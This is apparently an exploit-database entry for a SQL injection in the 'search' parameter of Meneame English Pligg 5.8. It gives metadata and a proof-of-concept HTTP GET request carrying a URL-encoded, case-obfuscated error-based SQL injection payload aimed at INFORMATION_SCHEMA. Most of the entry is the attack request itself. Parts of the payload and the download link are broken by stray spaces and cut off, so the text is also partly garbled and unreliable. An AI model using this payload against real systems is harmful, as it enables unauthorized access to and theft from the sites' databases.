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# Exploit Title: Meneame English Pligg 5.8 - 'search' SQL Injection
# Dork: N/A

# Date: 2018-11-13

# Exploit Author: Ihsan Sencan

# Vendor Homepage: https://sourceforge.net/projects/meneame-english/
# Software Link:
https://master.dl.sourceforge.net/project/meneame/meneame/Beta%205.8/Pligg Be
# Version: 5.8

# Category: Webapps

# Tested on: WiN7 x64/KalLilLinuX x64

#

CVE: N/A
# POC:
# 1)
# http://localhost/[PATH]/index.php?search=[SQL]
#

GET /[PATH]/?

search=%61%27%29%20%41%4e%44%20 (SeleCT%20%27Efe%27%20F roM%20duAL%20WheRE%2011
(SeLEct%20(ELT(112=112,1))),FLooR(RANd(0)*2) )x%20FROM%20INFOrmatION SchEMA.Pl
-%20Efe HTTP/1.1

Host: TARGET

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:45.0) Gecko/20100101
Firefox/45.0
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